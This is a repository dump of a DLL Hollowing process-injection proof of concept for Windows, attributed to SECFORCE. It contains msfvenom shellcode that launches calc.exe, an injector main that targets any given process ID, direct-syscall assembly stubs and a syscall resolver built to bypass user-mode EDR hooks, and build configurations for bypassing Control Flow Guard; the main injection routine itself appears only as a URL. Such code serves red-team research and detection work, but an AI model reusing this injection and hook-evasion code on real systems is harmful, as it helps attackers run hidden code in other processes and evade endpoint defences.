├── process_injection_dll_hollow_syscalls
├── src
│ ├── dllHollow.c
│ ├── dllHollow.h
│ ├── shellcode.c
│ ├── main.cpp
│ ├── syscallsstubs.asm
│ ├── syscalls.c
│ └── syscalls.h
├── process_injection_dll_hollow_syscalls.vcxproj.user
├── process_injection_dll_hollow_syscalls.vcxproj.filters
└── process_injection_dll_hollow_syscalls.vcxproj
├── README.md
└── process_injection_dll_hollow_syscalls.sln
/process_injection_dll_hollow_syscalls/src/dllHollow.c:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SECFORCE/DLL-Hollow-PoC/HEAD/process_injection_dll_hollow_syscalls/src/dllHollow.c
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/src/dllHollow.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "windows.h"
3 |
4 |
5 |
6 |
7 | EXTERN_C PVOID inject(unsigned char *shellcode, SIZE_T len, DWORD pid);
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DLL Hollow PoC
2 |
3 | DLL Hollowing PoC - Remote and Self shellcode injection
4 |
5 | Blog Post: https://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/
6 |
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/process_injection_dll_hollow_syscalls.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/src/shellcode.c:
--------------------------------------------------------------------------------
1 | #pragma clang diagnostic ignored "-Woverlength-strings"
2 | #include
3 |
4 | // msfvenom -a x64 --platform windows -p windows/x64/exec cmd=calc.exe EXITFUNC=thread -f C
5 | // Payload size : 276 bytes
6 | unsigned char shellcode[] =
7 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
8 | "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
9 | "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
10 | "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
11 | "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
12 | "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
13 | "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
14 | "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
15 | "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
16 | "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
17 | "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
18 | "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
19 | "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
20 | "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
21 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
22 | "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
23 | "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
24 | "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
25 | "\x63\x2e\x65\x78\x65\x00";
26 |
27 | SIZE_T shellcode_len = sizeof(shellcode);
28 |
29 |
30 |
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/src/main.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | DLL Hollow process injection PoC
3 | Author: Dimitri Di Cristofaro (GlenX) @d_glenx
4 | Arch: x86-64
5 | Copyright (c) 2021 SECFORCE (Dimitri Di Cristofaro)
6 | This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
7 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
8 | You should have received a copy of the GNU General Public License along with this program. If not, see .
9 | */
10 | #include
11 | #include
12 | #include "dllHollow.h"
13 | #include "shellcode.c"
14 | #include "syscalls.h"
15 |
16 |
17 | int main(int argc, char** argv) {
18 | DWORD pid = 0;
19 | int status = 0;
20 | PVOID remote_addr = NULL;
21 |
22 |
23 | if (argc == 2) {
24 | pid = atoi(argv[1]);
25 | printf("Injecting into PID %d", pid);
26 | }
27 | else {
28 | printf("Injecting into myself\n");
29 | pid = 0;
30 | }
31 |
32 | wprintf(L"Injecting %d bytes of shellcode\n", shellcode_len);
33 |
34 | // Dll Hollow
35 | remote_addr = inject(shellcode, shellcode_len, pid);
36 |
37 | if (remote_addr != NULL) {
38 | if (pid == 0) pid = GetProcessId(GetCurrentProcess());
39 | printf("Injection done! Check memory @ 0x%p of process with PID %d\n", remote_addr, pid);
40 | }
41 | else {
42 | printf("Injection Failed!\n");
43 | }
44 |
45 |
46 | printf("Keeping the process alive.. Press any key to exit..\n");
47 | getchar();
48 |
49 | return 0;
50 | }
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/process_injection_dll_hollow_syscalls.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 |
32 |
33 | Source Files
34 |
35 |
36 | Source Files
37 |
38 |
39 |
40 |
41 | Source Files
42 |
43 |
44 |
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30320.27
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "process_injection_dll_hollow_syscalls", "process_injection_dll_hollow_syscalls\process_injection_dll_hollow_syscalls.vcxproj", "{A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Bypass CFG (NTDLL Patch)|x64 = Bypass CFG (NTDLL Patch)|x64
11 | Bypass CFG (NTDLL Patch)|x86 = Bypass CFG (NTDLL Patch)|x86
12 | Bypass CFG(ThreadCTX)|x64 = Bypass CFG(ThreadCTX)|x64
13 | Bypass CFG(ThreadCTX)|x86 = Bypass CFG(ThreadCTX)|x86
14 | CFG Disabled|x64 = CFG Disabled|x64
15 | CFG Disabled|x86 = CFG Disabled|x86
16 | CFG Enabled|x64 = CFG Enabled|x64
17 | CFG Enabled|x86 = CFG Enabled|x86
18 | Debug|x64 = Debug|x64
19 | Debug|x86 = Debug|x86
20 | Release|x64 = Release|x64
21 | Release|x86 = Release|x86
22 | EndGlobalSection
23 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
24 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG (NTDLL Patch)|x64.ActiveCfg = Bypass CFG (NTDLL Patch)|x64
25 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG (NTDLL Patch)|x64.Build.0 = Bypass CFG (NTDLL Patch)|x64
26 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG (NTDLL Patch)|x86.ActiveCfg = Bypass CFG (NTDLL Patch)|Win32
27 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG (NTDLL Patch)|x86.Build.0 = Bypass CFG (NTDLL Patch)|Win32
28 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG(ThreadCTX)|x64.ActiveCfg = CFG Enabled - Bypass CFG( Thread CTX)|x64
29 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG(ThreadCTX)|x64.Build.0 = CFG Enabled - Bypass CFG( Thread CTX)|x64
30 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG(ThreadCTX)|x86.ActiveCfg = CFG Enabled - Bypass CFG( Thread CTX)|Win32
31 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Bypass CFG(ThreadCTX)|x86.Build.0 = CFG Enabled - Bypass CFG( Thread CTX)|Win32
32 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Disabled|x64.ActiveCfg = CFG Disabled|x64
33 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Disabled|x64.Build.0 = CFG Disabled|x64
34 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Disabled|x86.ActiveCfg = CFG Disabled|Win32
35 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Disabled|x86.Build.0 = CFG Disabled|Win32
36 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Enabled|x64.ActiveCfg = CFG Enabled|x64
37 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Enabled|x64.Build.0 = CFG Enabled|x64
38 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Enabled|x86.ActiveCfg = CFG Enabled|Win32
39 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.CFG Enabled|x86.Build.0 = CFG Enabled|Win32
40 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Debug|x64.ActiveCfg = Bypass CFG (NTDLL Patch)|x64
41 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Debug|x64.Build.0 = Bypass CFG (NTDLL Patch)|x64
42 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Debug|x86.ActiveCfg = Debug|Win32
43 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Debug|x86.Build.0 = Debug|Win32
44 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Release|x64.ActiveCfg = Bypass CFG (NTDLL Patch)|x64
45 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Release|x64.Build.0 = Bypass CFG (NTDLL Patch)|x64
46 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Release|x86.ActiveCfg = Release|Win32
47 | {A2EFAB2F-84D0-419A-8DE7-9CA18092BC47}.Release|x86.Build.0 = Release|Win32
48 | EndGlobalSection
49 | GlobalSection(SolutionProperties) = preSolution
50 | HideSolutionNode = FALSE
51 | EndGlobalSection
52 | GlobalSection(ExtensibilityGlobals) = postSolution
53 | SolutionGuid = {FCD19C82-6079-477C-B525-200942E8695D}
54 | EndGlobalSection
55 | EndGlobal
56 |
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/src/syscallsstubs.asm:
--------------------------------------------------------------------------------
1 |
2 | .code
3 |
4 | EXTERN SW2_GetSyscallNumber: PROC
5 |
6 | NtProtectVirtualMemory PROC
7 | push rcx ; Save registers.
8 | push rdx
9 | push r8
10 | push r9
11 | mov ecx, 0415033ABh ; Load function hash into ECX.
12 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
13 | pop r9 ; Restore registers.
14 | pop r8
15 | pop rdx
16 | pop rcx
17 | mov r10, rcx
18 | syscall ; Invoke system call.
19 | ret
20 | NtProtectVirtualMemory ENDP
21 |
22 | NtAllocateVirtualMemory PROC
23 | push rcx ; Save registers.
24 | push rdx
25 | push r8
26 | push r9
27 | mov ecx, 03595233Bh ; Load function hash into ECX.
28 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
29 | pop r9 ; Restore registers.
30 | pop r8
31 | pop rdx
32 | pop rcx
33 | mov r10, rcx
34 | syscall ; Invoke system call.
35 | ret
36 | NtAllocateVirtualMemory ENDP
37 |
38 | NtWriteVirtualMemory PROC
39 | push rcx ; Save registers.
40 | push rdx
41 | push r8
42 | push r9
43 | mov ecx, 00B97293Dh ; Load function hash into ECX.
44 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
45 | pop r9 ; Restore registers.
46 | pop r8
47 | pop rdx
48 | pop rcx
49 | mov r10, rcx
50 | syscall ; Invoke system call.
51 | ret
52 | NtWriteVirtualMemory ENDP
53 |
54 | NtCreateThreadEx PROC
55 | push rcx ; Save registers.
56 | push rdx
57 | push r8
58 | push r9
59 | mov ecx, 0003952E3h ; Load function hash into ECX.
60 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
61 | pop r9 ; Restore registers.
62 | pop r8
63 | pop rdx
64 | pop rcx
65 | mov r10, rcx
66 | syscall ; Invoke system call.
67 | ret
68 | NtCreateThreadEx ENDP
69 |
70 | NtWaitForSingleObject PROC
71 | push rcx ; Save registers.
72 | push rdx
73 | push r8
74 | push r9
75 | mov ecx, 03EA04C4Dh ; Load function hash into ECX.
76 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
77 | pop r9 ; Restore registers.
78 | pop r8
79 | pop rdx
80 | pop rcx
81 | mov r10, rcx
82 | syscall ; Invoke system call.
83 | ret
84 | NtWaitForSingleObject ENDP
85 |
86 | NtCreateThread PROC
87 | push rcx ; Save registers.
88 | push rdx
89 | push r8
90 | push r9
91 | mov ecx, 0142C8815h ; Load function hash into ECX.
92 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
93 | pop r9 ; Restore registers.
94 | pop r8
95 | pop rdx
96 | pop rcx
97 | mov r10, rcx
98 | syscall ; Invoke system call.
99 | ret
100 | NtCreateThread ENDP
101 |
102 | NtMapViewOfSection PROC
103 | push rcx ; Save registers.
104 | push rdx
105 | push r8
106 | push r9
107 | mov ecx, 01F071C6Ah ; Load function hash into ECX.
108 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
109 | pop r9 ; Restore registers.
110 | pop r8
111 | pop rdx
112 | pop rcx
113 | mov r10, rcx
114 | syscall ; Invoke system call.
115 | ret
116 | NtMapViewOfSection ENDP
117 |
118 | NtCreateSection PROC
119 | push rcx ; Save registers.
120 | push rdx
121 | push r8
122 | push r9
123 | mov ecx, 034A314EDh ; Load function hash into ECX.
124 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
125 | pop r9 ; Restore registers.
126 | pop r8
127 | pop rdx
128 | pop rcx
129 | mov r10, rcx
130 | syscall ; Invoke system call.
131 | ret
132 | NtCreateSection ENDP
133 |
134 | end
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/src/syscalls.c:
--------------------------------------------------------------------------------
1 | #include "syscalls.h"
2 |
3 | // Code below is adapted from @modexpblog. Read linked article for more details.
4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
5 |
6 | SW2_SYSCALL_LIST SW2_SyscallList;
7 |
8 | DWORD SW2_HashSyscall(PCSTR FunctionName)
9 | {
10 | DWORD i = 0;
11 | DWORD Hash = SW2_SEED;
12 |
13 | while (FunctionName[i])
14 | {
15 | WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
16 | Hash ^= PartialName + SW2_ROR8(Hash);
17 | }
18 |
19 | return Hash;
20 | }
21 |
22 | BOOL SW2_PopulateSyscallList()
23 | {
24 | // Return early if the list is already populated.
25 | if (SW2_SyscallList.Count) return TRUE;
26 |
27 | PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
28 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
29 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
30 | PVOID DllBase = NULL;
31 |
32 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
33 | // in the list, so it's safer to loop through the full list and find it.
34 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
35 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
36 | {
37 | DllBase = LdrEntry->DllBase;
38 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
39 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
40 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
41 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
42 | if (VirtualAddress == 0) continue;
43 |
44 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
45 |
46 | // If this is NTDLL.dll, exit loop.
47 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
48 |
49 | if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
50 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
51 | }
52 |
53 | if (!ExportDirectory) return FALSE;
54 |
55 | DWORD NumberOfNames = ExportDirectory->NumberOfNames;
56 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
57 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
58 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
59 |
60 | // Populate SW2_SyscallList with unsorted Zw* entries.
61 | DWORD i = 0;
62 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
63 | do
64 | {
65 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
66 |
67 | // Is this a system call?
68 | if (*(USHORT*)FunctionName == 'wZ')
69 | {
70 | Entries[i].Hash = SW2_HashSyscall(FunctionName);
71 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
72 |
73 | i++;
74 | if (i == SW2_MAX_ENTRIES) break;
75 | }
76 | } while (--NumberOfNames);
77 |
78 | // Save total number of system calls found.
79 | SW2_SyscallList.Count = i;
80 |
81 | // Sort the list by address in ascending order.
82 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++)
83 | {
84 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
85 | {
86 | if (Entries[j].Address > Entries[j + 1].Address)
87 | {
88 | // Swap entries.
89 | SW2_SYSCALL_ENTRY TempEntry;
90 |
91 | TempEntry.Hash = Entries[j].Hash;
92 | TempEntry.Address = Entries[j].Address;
93 |
94 | Entries[j].Hash = Entries[j + 1].Hash;
95 | Entries[j].Address = Entries[j + 1].Address;
96 |
97 | Entries[j + 1].Hash = TempEntry.Hash;
98 | Entries[j + 1].Address = TempEntry.Address;
99 | }
100 | }
101 | }
102 |
103 | return TRUE;
104 | }
105 |
106 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
107 | {
108 | // Ensure SW2_SyscallList is populated.
109 | if (!SW2_PopulateSyscallList()) return -1;
110 |
111 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
112 | {
113 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
114 | {
115 | return i;
116 | }
117 | }
118 |
119 | return -1;
120 | }
121 |
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/src/syscalls.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Code below is adapted from @modexpblog. Read linked article for more details.
4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
5 |
6 | #ifndef SW2_HEADER_H_
7 | #define SW2_HEADER_H_
8 |
9 | #include
10 |
11 | #define SW2_SEED 0x9A4BC5C1
12 | #define SW2_ROL8(v) (v << 8 | v >> 24)
13 | #define SW2_ROR8(v) (v >> 8 | v << 24)
14 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
15 | #define SW2_MAX_ENTRIES 500
16 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
17 |
18 | // Typedefs are prefixed to avoid pollution.
19 |
20 | typedef struct _SW2_SYSCALL_ENTRY
21 | {
22 | DWORD Hash;
23 | DWORD Address;
24 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
25 |
26 | typedef struct _SW2_SYSCALL_LIST
27 | {
28 | DWORD Count;
29 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
30 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
31 |
32 | typedef struct _SW2_PEB_LDR_DATA {
33 | BYTE Reserved1[8];
34 | PVOID Reserved2[3];
35 | LIST_ENTRY InMemoryOrderModuleList;
36 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
37 |
38 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
39 | PVOID Reserved1[2];
40 | LIST_ENTRY InMemoryOrderLinks;
41 | PVOID Reserved2[2];
42 | PVOID DllBase;
43 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
44 |
45 | typedef struct _SW2_PEB {
46 | BYTE Reserved1[2];
47 | BYTE BeingDebugged;
48 | BYTE Reserved2[1];
49 | PVOID Reserved3[2];
50 | PSW2_PEB_LDR_DATA Ldr;
51 | } SW2_PEB, *PSW2_PEB;
52 |
53 | DWORD SW2_HashSyscall(PCSTR FunctionName);
54 | BOOL SW2_PopulateSyscallList();
55 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
56 |
57 | #ifndef InitializeObjectAttributes
58 | #define InitializeObjectAttributes( p, n, a, r, s ) { \
59 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
60 | (p)->RootDirectory = r; \
61 | (p)->Attributes = a; \
62 | (p)->ObjectName = n; \
63 | (p)->SecurityDescriptor = s; \
64 | (p)->SecurityQualityOfService = NULL; \
65 | }
66 | #endif
67 |
68 | typedef struct _UNICODE_STRING
69 | {
70 | USHORT Length;
71 | USHORT MaximumLength;
72 | PWSTR Buffer;
73 | } UNICODE_STRING, *PUNICODE_STRING;
74 |
75 | typedef struct _PS_ATTRIBUTE
76 | {
77 | ULONG Attribute;
78 | SIZE_T Size;
79 | union
80 | {
81 | ULONG Value;
82 | PVOID ValuePtr;
83 | } u1;
84 | PSIZE_T ReturnLength;
85 | } PS_ATTRIBUTE, *PPS_ATTRIBUTE;
86 |
87 | typedef struct _OBJECT_ATTRIBUTES
88 | {
89 | ULONG Length;
90 | HANDLE RootDirectory;
91 | PUNICODE_STRING ObjectName;
92 | ULONG Attributes;
93 | PVOID SecurityDescriptor;
94 | PVOID SecurityQualityOfService;
95 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
96 |
97 | typedef struct _CLIENT_ID
98 | {
99 | HANDLE UniqueProcess;
100 | HANDLE UniqueThread;
101 | } CLIENT_ID, *PCLIENT_ID;
102 |
103 | typedef struct _USER_STACK
104 | {
105 | PVOID FixedStackBase;
106 | PVOID FixedStackLimit;
107 | PVOID ExpandableStackBase;
108 | PVOID ExpandableStackLimit;
109 | PVOID ExpandableStackBottom;
110 | } USER_STACK, *PUSER_STACK;
111 |
112 | typedef enum _SECTION_INHERIT
113 | {
114 | ViewShare = 1,
115 | ViewUnmap = 2
116 | } SECTION_INHERIT, *PSECTION_INHERIT;
117 |
118 | typedef struct _PS_ATTRIBUTE_LIST
119 | {
120 | SIZE_T TotalLength;
121 | PS_ATTRIBUTE Attributes[1];
122 | } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
123 |
124 | EXTERN_C NTSTATUS NtProtectVirtualMemory(
125 | IN HANDLE ProcessHandle,
126 | IN OUT PVOID * BaseAddress,
127 | IN OUT PSIZE_T RegionSize,
128 | IN ULONG NewProtect,
129 | OUT PULONG OldProtect);
130 |
131 | EXTERN_C NTSTATUS NtAllocateVirtualMemory(
132 | IN HANDLE ProcessHandle,
133 | IN OUT PVOID * BaseAddress,
134 | IN ULONG ZeroBits,
135 | IN OUT PSIZE_T RegionSize,
136 | IN ULONG AllocationType,
137 | IN ULONG Protect);
138 |
139 | EXTERN_C NTSTATUS NtWriteVirtualMemory(
140 | IN HANDLE ProcessHandle,
141 | IN PVOID BaseAddress,
142 | IN PVOID Buffer,
143 | IN SIZE_T NumberOfBytesToWrite,
144 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
145 |
146 | EXTERN_C NTSTATUS NtCreateThreadEx(
147 | OUT PHANDLE ThreadHandle,
148 | IN ACCESS_MASK DesiredAccess,
149 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
150 | IN HANDLE ProcessHandle,
151 | IN PVOID StartRoutine,
152 | IN PVOID Argument OPTIONAL,
153 | IN ULONG CreateFlags,
154 | IN SIZE_T ZeroBits,
155 | IN SIZE_T StackSize,
156 | IN SIZE_T MaximumStackSize,
157 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
158 |
159 | EXTERN_C NTSTATUS NtWaitForSingleObject(
160 | IN HANDLE ObjectHandle,
161 | IN BOOLEAN Alertable,
162 | IN PLARGE_INTEGER TimeOut OPTIONAL);
163 |
164 | EXTERN_C NTSTATUS NtCreateThread(
165 | OUT PHANDLE ThreadHandle,
166 | IN ACCESS_MASK DesiredAccess,
167 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
168 | IN HANDLE ProcessHandle,
169 | OUT PCLIENT_ID ClientId,
170 | IN PCONTEXT ThreadContext,
171 | IN PUSER_STACK InitialTeb,
172 | IN BOOLEAN CreateSuspended);
173 |
174 | EXTERN_C NTSTATUS NtMapViewOfSection(
175 | IN HANDLE SectionHandle,
176 | IN HANDLE ProcessHandle,
177 | IN OUT PVOID BaseAddress,
178 | IN ULONG ZeroBits,
179 | IN SIZE_T CommitSize,
180 | IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
181 | IN OUT PSIZE_T ViewSize,
182 | IN SECTION_INHERIT InheritDisposition,
183 | IN ULONG AllocationType,
184 | IN ULONG Win32Protect);
185 |
186 | EXTERN_C NTSTATUS NtCreateSection(
187 | OUT PHANDLE SectionHandle,
188 | IN ACCESS_MASK DesiredAccess,
189 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
190 | IN PLARGE_INTEGER MaximumSize OPTIONAL,
191 | IN ULONG SectionPageProtection,
192 | IN ULONG AllocationAttributes,
193 | IN HANDLE FileHandle OPTIONAL);
194 |
195 | #endif
--------------------------------------------------------------------------------
/process_injection_dll_hollow_syscalls/process_injection_dll_hollow_syscalls.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Bypass CFG (NTDLL Patch)
6 | Win32
7 |
8 |
9 | Bypass CFG (NTDLL Patch)
10 | x64
11 |
12 |
13 | CFG Disabled
14 | Win32
15 |
16 |
17 | CFG Disabled
18 | x64
19 |
20 |
21 | CFG Enabled - Bypass CFG( Thread CTX)
22 | Win32
23 |
24 |
25 | CFG Enabled - Bypass CFG( Thread CTX)
26 | x64
27 |
28 |
29 | CFG Enabled
30 | Win32
31 |
32 |
33 | CFG Enabled
34 | x64
35 |
36 |
37 | Debug
38 | Win32
39 |
40 |
41 | Release
42 | Win32
43 |
44 |
45 | Debug
46 | x64
47 |
48 |
49 | Release
50 | x64
51 |
52 |
53 |
54 | 16.0
55 | Win32Proj
56 | {a2efab2f-84d0-419a-8de7-9ca18092bc47}
57 | processinjectiondllhollowsyscallsnoCFG
58 | 10.0
59 | process_injection_dll_hollow_syscalls
60 |
61 |
62 |
63 | Application
64 | true
65 | v142
66 | Unicode
67 |
68 |
69 | Application
70 | false
71 | v142
72 | true
73 | Unicode
74 |
75 |
76 | Application
77 | false
78 | v142
79 | true
80 | Unicode
81 |
82 |
83 | Application
84 | false
85 | v142
86 | true
87 | Unicode
88 |
89 |
90 | Application
91 | false
92 | v142
93 | true
94 | Unicode
95 |
96 |
97 | Application
98 | false
99 | v142
100 | true
101 | Unicode
102 |
103 |
104 | Application
105 | true
106 | v142
107 | Unicode
108 |
109 |
110 | Application
111 | false
112 | v142
113 | true
114 | Unicode
115 |
116 |
117 | Application
118 | false
119 | v142
120 | true
121 | Unicode
122 |
123 |
124 | Application
125 | false
126 | v142
127 | true
128 | Unicode
129 |
130 |
131 | Application
132 | false
133 | v142
134 | true
135 | Unicode
136 |
137 |
138 | Application
139 | false
140 | v142
141 | true
142 | Unicode
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
